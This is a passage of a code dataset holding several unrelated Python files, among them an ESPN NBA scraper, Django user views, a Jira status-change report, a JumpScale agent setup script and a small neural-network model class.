'ORL', 'PHI', 'PHX', 'POR', 'SAC', 'SA', 'TOR', 'UTA', 'WSH']\n\nteam_names = ['Hawks', 'Celtics', 'Nets', 'Hornets', 'Bulls', 'Cavaliers',\n 'Mavericks', 'Nuggets', 'Pistons', 'Warriors', 'Rockets', 'Pacers',\n 'Clippers', 'Lakers', 'Grizzlies', 'Heat', 'Bucks', 'Timberwolves',\n 'Pelicans', 'Knicks', 'Thunder', 'Magic', '76ers', 'Suns',\n 'Trail Blazers', 'Kings', 'Spurs', 'Raptors', 'Jazz', 'Wizards']\n\nlogger = log.setup_custom_logger('root')\ndbLastDate = None\ntotalGames = None\n\nfile_name = str(date.today()) + '.log'\n\ndef initDB():\n return pymysql.connect(host='localhost', port=3306, user='root', passwd=sys.argv[1], db='NBA')\n\ndef insertGame(gameData, teamAb, teamName):\n connection = initDB()\n \n try:\n with connection.cursor() as cursor:\n sql = \"INSERT INTO `GameData` VALUES (%s, %s, %s, %s, %s, %s, %s)\"\n cursor.execute(sql, (gameData.id, gameData.link, gameData.headline,\n gameData.date, gameData.result, teamAb, teamName))\n\n connection.commit()\n\n finally:\n connection.close()\n\ndef retrieveGames(teamAb):\n connection = initDB()\n logger.debug(connection)\n result = None\n games = []\n \n try:\n with connection.cursor() as cursor:\n sql = \"SELECT * FROM `GameData` WHERE `team_ab`=%s\"\n cursor.execute(sql, (teamAb))\n result = cursor.fetchall()\n\n finally:\n connection.close()\n \n for game in result:\n games.append(GameData.GameData(game[0], game[1], game[2], game[3], game[4]))\n\n return games\n\ndef getTotalGames():\n global totalGames\n connection = initDB()\n result = None\n \n try:\n with connection.cursor() as cursor:\n sql = \"SELECT max(id) FROM `GameData`\"\n cursor.execute(sql)\n result = cursor.fetchone()\n\n finally:\n connection.close()\n \n if result[0] != None:\n totalGames = int(result[0]) + 1\n else:\n totalGames = 0\n\ndef getLastDate():\n global dbLastDate\n global totalGames\n \n connection = initDB()\n daysAgo = 365\n \n try:\n with connection.cursor() as cursor:\n sql = \"SELECT game_date FROM `GameData` WHERE `id`=%s\"\n cursor.execute(sql, (str(totalGames)))\n result = cursor.fetchone()\n \n currentDate = date.today()\n \n if result != None:\n for dateDB in result:\n # whatever the date string is\n formatDate = datetime.strptime(dateDB, \"%Y%m%d\").date()\n \n daysAgo = min((currentDate - formatDate).days, daysAgo)\n\n finally:\n connection.close()\n \n \n dbLastDate = currentDate - timedelta(days=daysAgo)\n\ndef pageResponse(link):\n '''Retrieve the source code of the page\n\n :param link: the link to the page that will be scraped\n :type link: string'''\n \n response = urlopen_with_retry(link)\n page_source = response.read()\n \n return BeautifulSoup(page_source, \"html.parser\")\n\ndef teamExtractAndMarkup(team_ab, team_name):\n '''Intermediary function between the main function and the game extraction\n and xml generation\n\n :param team_ab: the team's abbreviated name\n :type team_ab: string\n :param team_name: the team's name\n :type team_name: string'''\n \n gamesInfo = extractGameData(team_ab, team_name)\n teamRecord = gamesInfo[0]\n games = gamesInfo[1]\n games.sort(key=lambda x: x.date, reverse=True)\n \n markup.xml_markup(games, team_ab, team_name, teamRecord)\n\n logger.info(strftime(\"%d-%b-%Y %H:%M:%S \", localtime()) + team_name + \n \" completed with \" + str(len(games)) + \" games logged\")\n\ndef getTeamRecord(soup):\n return soup.find(class_=\"sub-title\").text\n\ndef extractGameData(teamAb, teamName):\n '''Extract the game data (date, headline, result) for each game the team \n has played.\n\n :param team_ab: the team's abbreviated name\n :type team_ab: string\n :param team_name: the team's name\n :type team_name: string'''\n \n global totalGames\n global logger\n \n games = retrieveGames(teamAb)\n links = [game.link for game in games]\n schedLink = \"http://espn.go.com/nba/team/schedule/_/name/\" + teamAb\n soup = pageResponse(schedLink)\n teamRecord = getTeamRecord(soup)\n \n for div in soup.find_all(attrs={\"class\" : \"score\"}):\n recapLinkEnding = str(div.find('a').get('href').encode('utf-8', 'ignore'))\n if \"recap\" in recapLinkEnding:\n recapLink = \"http://espn.go.com\" + recapLinkEnding\n \n if recapLink not in links:\n boxscoreLink = \"http://espn.go.com/nba/boxscore?gameId=\" + recapLink[32:]\n \n recapLinkSoup = pageResponse(recapLink)\n gameHeadline = getGameHeadline(recapLinkSoup, recapLink)\n gameDate = getGameDate(recapLinkSoup, recapLink)\n \n if gameDate == \"PRE\":\n formattedDate = datetime.strptime(\"20150901\", \"%Y%m%d\").date()\n elif gameDate != None:\n formattedDate = datetime.strptime(gameDate, \"%Y%m%d\").date()\n else:\n formattedDate = datetime.strptime(\"20150901\", \"%Y%m%d\").date()\n \n formattedDate = formattedDate - timedelta(days=1)\n \n if (formattedDate - dbLastDate).days > 0:\n newGame = GameData.GameData(totalGames, recapLink, gameHeadline, re.sub('-', '', str(formattedDate)))\n \n totalGames += 1\n \n newGame.charConvertLink()\n boxscoreLinkSoup = pageResponse(boxscoreLink)\n newGame.findWinner(teamName, boxscoreLink, boxscoreLinkSoup)\n newGame.modifyHeadline()\n # newGame.print_game_data()\n insertGame(newGame, teamAb, teamName)\n games.append(newGame)\n\n else:\n logger.debug(\"Already have game with link \" + recapLink)\n \n return [teamRecord, games]\n\n\n@retry_decorator.retry(urllib2.URLError, logger, tries=4, delay=3, backoff=2)\ndef urlopen_with_retry(link):\n return urllib2.urlopen(link)\n\ndef getGameHeadline(soup, link):\n '''Extract the headline from the page source.\n\n :param soup: the source file of the recap page\n :type soup: string\n :param link: the link to the page that will was scraped; passed in case of \n error for logging\n :type link: string'''\n \n try:\n return soup.title.string\n except urllib2.HTTPError:\n logger.debug('There was an error with the request from: ' + link)\n \ndef getGameDate(soup, link):\n '''Extract the headline from the page source.\n\n :param soup: the source file of the recap page\n :type soup: string'''\n \n try:\n if \"boxscore\" in link:\n return \"PRE\"\n else:\n base = soup.findAll('meta', {\"name\":'DC.date.issued'})\n date = base[0]['content'].encode('utf-8')[:10]\n return re.sub('-', '', date)\n except urllib2.HTTPError:\n logger.debug('There was an error with the request from: ' + link)\n except IndexError:\n logger.debug('Could not extract date from: ' + str(base))\n \ndef main():\n global totalGames\n getTotalGames()\n dbLastDate = getLastDate()\n \n logger.info(sys.path)\n \n startTime = localtime()\n logger.info(\"Start time: \" + strftime(\"%d-%b-%Y %H:%M:%S \", startTime))\n \n threads = []\n for teamAb, teamName in zip(team_abbrvs, team_names):\n t = threading.Thread(name=\"Thread-\" + teamAb,\n target=teamExtractAndMarkup,\n args=(teamAb, teamName))\n threads.append(t)\n\n # Start all threads\n [thread.start() for thread in threads]\n\n # Wait for all of them to finish\n [thread.join() for thread in threads]\n \n getTotalGames()\n finish_time = localtime()\n logger.info(\"Finish time: \" + strftime(\"%d-%b-%Y %H:%M:%S \", finish_time))\n logger.info(\"Total games: \" + str(totalGames))\n logger.info(\"Total time: \" + \n str(timedelta(seconds=mktime(finish_time) - mktime(startTime))))\n \nif __name__ == '__main__':\n main()\n","sub_path":"nba_rss_gen.py","file_name":"nba_rss_gen.py","file_ext":"py","file_size_in_byte":8576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"612878081","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse\nfrom .forms import UserLoginForm, UserRegisterForm, ProfileForm\nfrom .models import Profile\n\n# Create your views here.\ndef user_login(request):\n if request.method == 'POST':\n user_login_form=UserLoginForm(request.POST)\n if user_login_form.is_valid():\n data=user_login_form.cleaned_data\n user=authenticate(username=data['username'],password=data['password'])\n if user:\n login(request,user)\n return redirect('blog:post_list')\n else:\n return HttpResponse('用户名或密码有误')\n else:\n return HttpResponse('账号或密码输入不合法')\n elif request.method == 'GET':\n user_login_form=UserLoginForm()\n return render(request,'userprofile/login.html',context={'form':user_login_form})\n else:\n return HttpResponse('请使用POST或者GET请求数据')\ndef user_logout(request):\n logout(request)\n return redirect('blog:post_list')\ndef user_register(request):\n if request.method=='POST':\n user_register_form=UserRegisterForm(request.POST)\n if user_register_form.is_valid():\n new_user=user_register_form.save(commit=False)\n new_user.set_password(user_register_form.cleaned_data['password'])\n new_user.save()\n login(request, new_user)\n return redirect('blog:post_list')\n else:\n return HttpResponse('注册表单有误')\n elif request.method=='GET':\n user_register_form = UserRegisterForm()\n return render(request, 'userprofile/register.html',context={'form':user_register_form})\n else:\n return HttpResponse('请使用GET或POST请求数据')\n\n@login_required(login_url='/userprofile/login/')\ndef user_delete(request, id):\n if request.method=='POST':\n user=User.objects.get(id=id)\n if request.user == user:\n logout(request)\n user.delete()\n redirect('blog:post_list')\n else:\n return HttpResponse('您没有权限删除')\n else:\n return HttpResponse('仅接受POST请求')\n@login_required(login_url='/userprofile/login/')\ndef profile_edit(request, id):\n user=User.objects.get(id=id)\n if Profile.objects.filter(user_id=id).exists():\n profile=Profile.objects.get(user_id=id)\n else:\n profile=Profile.objects.create(user=user)\n\n if request.method=='POST':\n if request.user!=user:\n return HttpResponse('你没有权限修改此用户信息')\n profile_form=ProfileForm(request.POST, request.FILES)\n if profile_form.is_valid():\n profile_cd = profile_form.cleaned_data\n profile.phone = profile_cd['phone']\n profile.bio = profile_cd['bio']\n if 'avatar' in request.FILES:\n profile.avatar=profile_cd['avatar']\n profile.save()\n return redirect('userprofile:edit', id =id)\n else:\n return HttpResponse('注册表单输入有误,请重新输入')\n elif request.method == 'GET':\n profile_form = ProfileForm()\n return render(request, 'userprofile/edit.html', context=\n {'profile_form':profile_form, 'profile':profile, 'user':user})\n else:\n return HttpResponse('请使用GET或POST请求数据')\n","sub_path":"userprofile/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"334287207","text":"from argparse import ArgumentParser\n\nfrom predict import run\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\"config_files\", type=str, nargs=\"+\", help=\"Configuration files. See examples in configs/\")\n args = parser.parse_args()\n print(\"Run multiple predictions\")\n for config_file in args.config_files:\n try:\n print(\"\\n\\n----- run {} -----\\n\".format(config_file))\n run(config_file)\n except Exception as e:\n print(\"\\n\\n !!! Run {} failed !!!\\n\".format(config_file))\n print(\"\\n{}\".format(e))\n","sub_path":"classification/imaterialist_challenge_furniture_2018/multi_predict.py","file_name":"multi_predict.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"282631956","text":"# Задание 1\n# Необходимо вывести имена всех учеников из списка с новой строки\nprint('--------------------------------')\nprint('Задание 1')\nnames = ['Оля', 'Петя', 'Вася', 'Маша']\nfor word in names:\n print(word)\n\n# Задание 2\n# Необходимо вывести имена всех учеников из списка, рядом с именем показать количество букв в нём.\nprint('--------------------------------')\nprint('Задание 2')\nnames = ['Оля', 'Петя', 'Вася', 'Маша']\nfor word in names:\n print(f'{word} {len(word)}')\n\n# Задание 3\n# Необходимо вывести имена всех учеников из списка, рядом с именем вывести пол ученика\nprint('--------------------------------')\nprint('Задание 3')\nis_male = {\n 'Оля': False, # если True, то пол мужской\n 'Петя': True,\n 'Вася': True,\n 'Маша': False,\n}\nnames = ['Оля', 'Петя', 'Вася', 'Маша']\nfor word in names:\n sex = 'м' if is_male.get(word) else 'ж'\n print(f'{word} {sex}')\n\n# Задание 4\n# Даны группу учеников. Нужно вывести количество групп и для каждой группы – количество учеников в ней\n# Пример вывода:\n# Всего 2 группы.\n# В группе 2 ученика.\n# В группе 3 ученика.\nprint('--------------------------------')\nprint('Задание 4')\ngroups = [\n ['Вася', 'Маша'],\n ['Оля', 'Петя', 'Гриша'],\n]\nprint(f'Всего групп: {len(groups)}')\nfor subgroups in groups:\n print(f'Учеников в группе {len(subgroups)}')\n\n# Задание 5\n# Для каждой пары учеников нужно с новой строки перечислить учеников, которые в неё входят.\n# Пример:\n# Группа 1: Вася, Маша\n# Группа 2: Оля, Петя, Гриша\nprint('--------------------------------')\nprint('Задание 5')\ngroups = [\n ['Вася', 'Маша'],\n ['Оля', 'Петя', 'Гриша'],\n [],\n]\ngroupnum = 0\nfor subgroups in groups:\n groupnum += 1\n outpt_string = 'Группа ' + str(groupnum) + ': '\n for peoples in subgroups:\n outpt_string += peoples + ', '\n print(outpt_string.rstrip(', '))","sub_path":"extra_task2.py","file_name":"extra_task2.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"395917805","text":"\nfrom JumpScale import j\nfrom fabric.api import *\n\nimport JumpScale.baselib.remote.cuisine\nimport JumpScale.lib.docker\n\n\ndef dockers():\n res={}\n \n agentcontrollerIp=docker.getIp(\"master\")\n\n #create agent docker machines starting from the mybase_js basis\n for i in range(2):\n res[i]=j.tools.docker.create(name=\"agent_%s\"%i,stdout=True,base=\"mybase_js\",ports=\"\",vols=\"/opt/code:/opt/code\",volsro=\"\")\n agentOn1Node(res[i],agentcontrollerIp)\n \n\ndef agentOn1Node(sshport,agentcontrollerIp):\n \"\"\"\n \"\"\"\n ssh=j.remote.cuisine.connect(\"localhost\",sshport)\n cmd=\"\"\"\njpackage install -n jsagent -i main --data=\"\\\nac.ipaddress=$ip #\\\nac.port=4444 #\\\nac.login=node #\\\nac.passwd=EMPTY #\\\nosis.connection=main #\\\nwebdis.connection=main #\\\ngrid.id=6 #\\\nagentcontroller.connection=main #\\\nagentcontroller.webdiskey=1234 #\\\ngrid.node.roles=grid.master,agentcontroller\"\n\"\"\"\n cmd=cmd.replace(\"$ip\",str(agentcontrollerIp))\n ssh.run(cmd)\n\n\n\n","sub_path":"docker_agentcontroller/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"435362475","text":"import pandas as pd\nfrom pandas.tseries.offsets import Day\nfrom pandas.api.types import CategoricalDtype\nfrom jira.client import JIRA\n\n\nfrom format_df import JiraDf\nfrom cocoa import Connection\n\ncols = ['key',\n 'Summary',\n 'Affected IT-System',\n 'Business Transaction',\n 'Technical implementation needed',\n 'Reporter',\n 'Assignee',\n 'Department',\n 'Contact Person (Business department)',\n 'Contact Person (IT)',\n 'Component/s',\n 'Status',\n 'author',\n 'date',\n 'from',\n 'to'\n ]\n\nnew_cols = ['Key',\n 'Summary',\n 'Affected IT-System', \n 'Business Transaction',\n 'Technical implementation needed',\n 'Reporter', \n 'Assignee', \n 'Department',\n 'Contact Person (Business department)', \n 'Contact Person (IT)',\n 'Component/s', \n 'Status', \n 'Author', \n 'Date',\n 'From',\n 'To',\n ]\n\ndef getForwardChanges():\n forward_changes_lastweek = '''project = DC AND \n labels in (VW-PKW, \n VW-PKW_InKlaerungKILX\n ) AND \n status in (\"Concept legally approved\", \n \"Technical Implementation Started\", \n Resolved, \n Closed\n ) AND \n updated >= -15d'''\n fw_issues = jira.search_issues(jql_str=forward_changes_lastweek, \n maxResults=False, expand='changelog')\n fw_df = JiraDf(issues=fw_issues,\n jira_client=jira, \n frontendcolname=True, \n stringvalues=True, \n changelog=True).df\n \n fw_df.dropna(axis=1, how='all', inplace=True)\n \n fw_df = fw_df.loc[:, fw_df.columns.duplicated()==False]\n\n fw_df = fw_df.reindex(columns=cols)\n \n fw_df['date'] = pd.to_datetime(fw_df['date'], dayfirst=True)\n \n fw_df = fw_df[(fw_df['date'] >= pd.datetime.today() - Day(14)) & (fw_df['Status'] == fw_df['to'])]\n \n fw_df.sort_values('date', ascending=True, inplace=True)\n \n fw_df.drop_duplicates(subset=['key', 'to'], keep='first', inplace=True)\n \n fw_df.columns = new_cols\n \n fw_df.sort_values('Date', ascending=False, inplace=True)\n \n fw_df['Date'] = fw_df['Date'].map(lambda x: x.strftime('%d.%m.%Y'))\n \n fw_df['Key'] = fw_df['Key'].map(lambda x: f'=HYPERLINK(\"https://cocoa.volkswagen.de/sjira/browse/{x}\", \"{x}\")')\n \n return fw_df\n\n\ndef getBackwardChanges():\n \n backward_changes_lastweek = '''project = DC AND\n labels in (VW-PKW, VW-PKW_InKlaerungKILX) AND\n status in (\"Design Decision\",\n \"Concept Decision\",\n \"Order approval\",\n Draft) AND\n updated >= -15d'''\n bw_issues = jira.search_issues(jql_str=backward_changes_lastweek, maxResults=False, expand='changelog')\n \n bw_df = JiraDf(bw_issues, jira_client=jira, frontendcolname=True, stringvalues=True, changelog=True).df\n\n bw_df.dropna(axis=1, how='all', inplace=True)\n \n bw_df = bw_df.loc[:, bw_df.columns.duplicated()==False]\n \n bw_df = bw_df.reindex(columns=cols)\n \n bw_df['date'] = pd.to_datetime(bw_df['date'], dayfirst=True)\n \n sorter = ['Created',\n 'Draft',\n 'Order approval',\n 'Concept Decision',\n 'Design Decision',\n 'Implemented',\n 'Concept legally approved',\n 'Technical Implementation Started',\n 'Resolved',\n 'Closed'\n ]\n \n cat_type = CategoricalDtype(categories=sorter,\n ordered=True)\n \n bw_df['to'] = bw_df['to'].astype(cat_type)\n bw_df['from'] = bw_df['from'].astype(cat_type)\n \n bw_df = bw_df[(bw_df['date'] >= pd.datetime.today() - Day(14)) & (bw_df['from']>=bw_df['to'])].sort_values(['key','date'])\n \n bw_df.drop_duplicates(subset=['key'], keep='first', inplace=True)\n \n bw_df['to'] = bw_df['Status']\n \n bw_df.columns = new_cols\n \n bw_df.sort_values('Date', ascending=False, inplace=True)\n \n bw_df['Date'] = bw_df['Date'].map(lambda x: x.strftime('%d.%m.%Y'))\n \n bw_df['Key'] = bw_df['Key'].map(lambda x: f'=HYPERLINK(\"https://cocoa.volkswagen.de/sjira/browse/{x}\", \"{x}\")')\n \n return bw_df\n\ntry:\n jira = Connection(stored_cookie=True, \n async_=False, \n async_workers=None).jira\n if not isinstance(jira, JIRA):\n raise ValueError\nexcept (ValueError, FileNotFoundError):\n jira = Connection().jira\n\nfw_df = getForwardChanges()\nbw_df = getBackwardChanges()\n\ncurrent_date = pd.datetime.today().strftime('%d.%m.%Y')\n\nwriter = pd.ExcelWriter(f'Report_status_changes_14_days_{current_date}.xlsx')\nfw_df.to_excel(writer, sheet_name='Bearbeitete Maßnahmen', index=False)\nbw_df.to_excel(writer, sheet_name='Zurückgestufte Maßnahmen', index=False)\nwriter.save()","sub_path":"status_changes_bi_weekly.py","file_name":"status_changes_bi_weekly.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"434401851","text":"# -*- coding: UTF-8 -*-\nfrom ShopSystem.models.gp_shop_base_models import *\n\nclass BankNumber(BaseModel):\n bank_name = CharField()\n bank_number = CharField()\n\n class Meta:\n db_table = 'bank_number'\n\n def insert_bank_account(self, data_account):\n var = BankNumber.select().where((BankNumber.bank_name == data_account['bank_name']) & (BankNumber.bank_number == data_account['bank_number']))\n for i in var:\n return {'success':False, 'message':u'این اکانت وجود دارد.'}\n try:\n BankNumber.create(bank_name = data_account['bank_name'], bank_number = data_account['bank_number'])\n var = BankNumber.select().where((BankNumber.bank_name == data_account['bank_name']) & (BankNumber.bank_number == data_account['bank_number']))\n for i in var:\n r = {'success':True, 'message':u'این حساب بانکی با موفقیت افزوده شد . ', 'id':i.id, 'bank_name':i.bank_name, 'bank_number':i.bank_number}\n except ValueError:\n r = {'success':False, 'message':u' اطلاعات درست وارد نشده . '}\n return r\n\n def get_all_account(self):\n var = BankNumber.select()\n list_ = []\n for i in var:\n r = {'bank_name':i.bank_name, 'bank_number':i.bank_number, 'id':i.id}\n list_.append(r)\n return list_\n\n def delete_bank_account(self, id_):\n BankNumber.delete().where(BankNumber.id == id_).execute()\n return {'success':True, 'message':u'حساب بانکی شما با موفقیت حذف شد . '}\n\n def edit_bank_account(self, data_edit):\n var = BankNumber.select().where((BankNumber.bank_name == data_edit['bank_name']) & (BankNumber.bank_number == data_edit['bank_number']))\n for i in var:\n return {'success':False, 'message':u'این حساب وجود دارد . '}\n BankNumber.update(bank_name = data_edit['bank_name'], bank_number = data_edit['bank_number']).where(BankNumber.id == data_edit['id']).execute()\n return {'success':True, 'message':u'ویرایش موفقیت آمیز بود . '}\n\n def get_all_for_from_select(self):\n var = BankNumber.select()\n list_ = []\n x = \" : \"\n for i in var:\n name = i.bank_name + x + i.bank_number\n r = {'name':name, 'id':i.id}\n list_.append(r)\n return list_\n\nif __name__ == \"__main__\":\n list_ = BankNumber().get_all_for_from_select()\n for i in list_:\n print(i['name'])","sub_path":"ShopSystem/models/bank_number.py","file_name":"bank_number.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"315630341","text":"__author__ = 'Pawel'\n\n# Today, we're going to honor those mathematicians of old. You will be given an image\n# of a black circle on white background, and using the pixel data in the image, you are\n# to come up with an estimate for pi.\n# For those of you who have forgotten your formulas for circles, the formula for the area\n# of a circle is as follows:\n# A = pi * r^2\n# In other words, to calculate the area of a circle, multiply pi by the square of the radius.\n\n\nfrom PIL import Image\n\ndef radius(image, h, w):\n a = 0\n b = w\n board = []\n for element in range(h):\n total = 0\n for pixel in image[a:b]:\n if pixel == (0, 0, 0):\n total += 1\n board.append(total)\n a += w\n b += w\n return 0.5 * max(board)\n\ndef area(im):\n return im.getcolors()[1][0]\n\ndef main():\n im = Image.open('img\\\\two.png', 'r')\n # print(im.getpixel((1, 1))) get color of pixel x, y\n pix_val = list(im.getdata())\n h, w = im.size\n\n r = radius(pix_val, h, w)\n a = area(im)\n pi = a / r**2\n print(pi)\n\nif __name__ == \"__main__\":\n main()","sub_path":"#225 [I] Estimating pi.py","file_name":"#225 [I] Estimating pi.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"15982231","text":"from tqdm import tqdm\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt # noqa\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass Model:\n \"\"\"Model abstract class\"\"\"\n def __init__(self):\n self.layers = []\n self.train_loss_idx = []\n self.test_loss_idx = []\n self.train_loss = []\n self.test_loss = []\n\n def __len__(self):\n pass\n\n def __str__(self):\n out_string = \"\"\n for i, _ in list(enumerate(self.layers)):\n if self.layers[i].contains_weights:\n out_string += f\"Layer : {i} {self.layers[i]}\"\n out_string += f\" Weights, {self.layers[i].weights.shape}\"\n out_string += f\" Bias {self.layers[i].bias.shape}\"\n else:\n out_string += f\"Layer : {i} {self.layers[i]}\"\n out_string += \"\\n\"\n return out_string\n\n def split_train_test(self, X, Y, train_split_ratio=0.8, random_seed=42):\n train_end_index = int(train_split_ratio * X.shape[0])\n logging.info(f\"Data splitting into {train_end_index} Train and {X.shape[0]-train_end_index} test data points\") # noqa\n idx = np.random.RandomState(seed=random_seed).permutation(X.shape[0])\n train_idx, test_idx = idx[:train_end_index], idx[train_end_index:]\n return X[train_idx, :], Y[train_idx], X[test_idx, :], Y[test_idx]\n\n def get_loss_function(self, loss_function):\n if loss_function == 'BinaryCrossEntropy':\n from deepnumpy.loss.classification_loss import BinaryCrossEntropy # noqa\n elif loss_function == 'MeanSquaredError':\n from deepnumpy.loss.regression_loss import MeanSquaredError # noqa\n else:\n logger.error(\"Selected Loss function is not implemented.\"\n \"Taking default loss function 'BinaryCrossEntropy'\")\n loss_function == 'BinaryCrossEntropy'\n\n return eval(loss_function)\n\n def train(self, X, Y, learning_rate=0.01,\n epochs=100, loss_function='BinaryCrossEntropy',\n metrics=\"ClassificationMetrics\",\n train_split_ratio=0.8, random_seed=42,\n early_stopping={},\n output_dir='./output', verbose=False):\n\n logger.info(f\"Training Specs: \\n\"\n f\"Learning Rate: {learning_rate} \\n\"\n f\"Maximum Epochs Limit: {epochs} \\n\"\n f\"Loss Function: {loss_function} \\n\"\n f\"Metrics Function: {metrics} \\n\"\n f\"Train Test Split Ratio Function: {train_split_ratio} \\n\"\n f\"Early Stopping: {early_stopping} \\n\")\n\n if early_stopping:\n self.initialize_monitoring(early_stopping)\n\n x_train, y_train, x_test, y_test = self.split_train_test(X, Y, train_split_ratio, random_seed) # noqa\n self.loss_func_instance = self.get_loss_function(loss_function)\n for this_epoch in tqdm(range(epochs)):\n this_loss = self.optimize(x_train, y_train, learning_rate, self.loss_func_instance) # noqa\n self.train_loss.append(this_loss)\n self.train_loss_idx.append(this_epoch)\n if verbose:\n if this_epoch % 10 == 0:\n logger.info(f\"Epoch: {this_epoch}. Training Loss: {this_loss}\") # noqa\n this_loss = self.evaluate(x_test, y_test, metrics=metrics, output_dir=output_dir) # noqa\n self.test_loss.append(this_loss)\n self.test_loss_idx.append(this_epoch)\n self.plot_loss_curve(output_dir)\n if early_stopping:\n if self.monitor_for_early_stopping({'val_loss': this_loss}): # noqa\n logging.info(f\"Training stopped due to satisfied early stopping condition at {this_epoch} epoch\") # noqa\n return None\n\n def predict(self, input_x):\n '''\n Input --> Layer1 --> Act1 --> Layer2 --> Act2 --> Output\n '''\n forward_value = input_x.copy()\n for i, _ in enumerate(self.layers):\n forward_value = self.layers[i].forward(forward_value)\n return forward_value\n\n def initialize_monitoring(self, early_stopping):\n self.early_stopping_dict = early_stopping\n self.prev_value_dict = {'val_loss': np.inf, 'val_acc': 0}\n self.monitoring_dict = {}\n for this_key in early_stopping.keys():\n self.monitoring_dict[this_key] = 0\n\n def monitor_for_early_stopping(self, current_values_dict: dict):\n stop_flag = False\n for this_key in self.early_stopping_dict.keys():\n if this_key not in current_values_dict.keys():\n raise \"Monitoring Value not calculated\"\n if (((self.early_stopping_dict.get(this_key)[0] == 'inc') and (current_values_dict[this_key] >= self.prev_value_dict.get(this_key))) # noqa\n or ((self.early_stopping_dict.get(this_key)[0] == 'dec') and (current_values_dict[this_key] <= self.prev_value_dict.get(this_key)))): # noqa\n self.monitoring_dict[this_key] += 1\n logging.info(\"Identified Early Stopping condition. Counter incremented\") # noqa\n if self.monitoring_dict[this_key] > self.early_stopping_dict.get(this_key)[1]: # noqa\n return True\n else:\n self.monitoring_dict[this_key] = 0\n self.prev_value_dict = current_values_dict\n return stop_flag\n\n def optimize(self):\n pass\n\n def get_metric_function(self, metrics):\n if metrics == \"ClassificationMetrics\":\n from deepnumpy.metrics.classification_metrics import ClassificationMetrics # noqa\n else:\n logger.error(\"Selected Loss function is not implemented.\"\n \"Taking default loss function 'ClassificationMetrics'\") # noqa\n metrics == 'ClassificationMetrics'\n from deepnumpy.metrics.classification_metrics import ClassificationMetrics # noqa\n return eval(metrics)\n\n def evaluate(self, x_test, y_actual,\n metrics=\"ClassificationMetrics\", output_dir='./output'):\n y_pred = self.predict(x_test)\n test_loss = self.loss_func_instance(y_pred, y_actual)\n test_loss_value = test_loss.forward()\n logger.info(f\"Validation Loss: {test_loss_value}\")\n metric_instance = self.get_metric_function(metrics)(output_dir)\n metric_instance.run(y_pred, y_actual)\n return test_loss_value\n\n def plot_loss_curve(self, output_path):\n plt.figure(figsize=(17, 10))\n plt.title('Loss Curve : Loss vs Epochs', fontsize=20)\n plt.xlabel('Epoch', fontsize=16)\n plt.ylabel('Loss Value', fontsize=16)\n plt.plot(self.train_loss_idx, self.train_loss, \"-g\", label=\"Train Loss\") # noqa\n plt.plot(self.test_loss_idx, self.test_loss, \"-r\", label=\"Test Loss\")\n plt.legend(loc=\"upper right\")\n plt.grid()\n plt.savefig(os.path.join(output_path, 'TrainTestLossCurve.png'))\n plt.close()\n","sub_path":"deepnumpy/model/_model.py","file_name":"_model.py","file_ext":"py","file_size_in_byte":7081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"415530896","text":"class student():\n major = 'CSE' #Static field\n\n def __init__(self, name, rollno):\n self.name = name\n self.rollno = rollno\n\ns1 = student('Ronak',41)\ns2 = student('Henil',49)\nprint(s1.major)\nprint(s2.major)\nprint(student.major)\n","sub_path":"OOPS/staticfield.py","file_name":"staticfield.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"345414282","text":"import matplotlib.pyplot as plt\nimport pandas as pd\n\n## import original module\nfrom cell_shape_violin_function import plot_figure\n\n## read data\ndf = pd.read_excel(\"GFP_5days_cell_shape.xlsx\",index_col=0)\n\n## plot figure\ncolors = [\"darkgray\",\"lime\"]\n\nplot_figure(\n df,\n colors,\n aspect=(3.2,3.5), # figure size. (width,height)\n dotsize=3, # swarmplot's dotsize\n yaxis=(1,3.4,11), # yaxis limit. (min, max, number of ticks)\n save=False # save figure\n)\n","sub_path":"cell_shape/violin/5days/GFP_5days_cell_shape.py","file_name":"GFP_5days_cell_shape.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"573294957","text":"import re\nfrom urllib.parse import quote_plus as url_quote\n\nimport flask\n\nfrom api import api_operation\nfrom api import build_collection_response\nfrom api import flask_json_response\nfrom api import metrics\nfrom api.host import get_bulk_query_source\nfrom app.config import BulkQuerySource\nfrom app.logging import get_logger\nfrom app.utils import Tag\nfrom app.xjoin import check_pagination\nfrom app.xjoin import graphql_query\nfrom app.xjoin import pagination_params\nfrom app.xjoin import staleness_filter\n\nlogger = get_logger(__name__)\n\nTAGS_QUERY = \"\"\"\n query hostTags (\n $hostFilter: HostFilter,\n $filter: TagAggregationFilter,\n $order_by: HOST_TAGS_ORDER_BY,\n $order_how: ORDER_DIR,\n $limit: Int,\n $offset: Int\n ) {\n hostTags (\n hostFilter: $hostFilter,\n filter: $filter,\n order_by: $order_by,\n order_how: $order_how,\n limit: $limit,\n offset: $offset\n ) 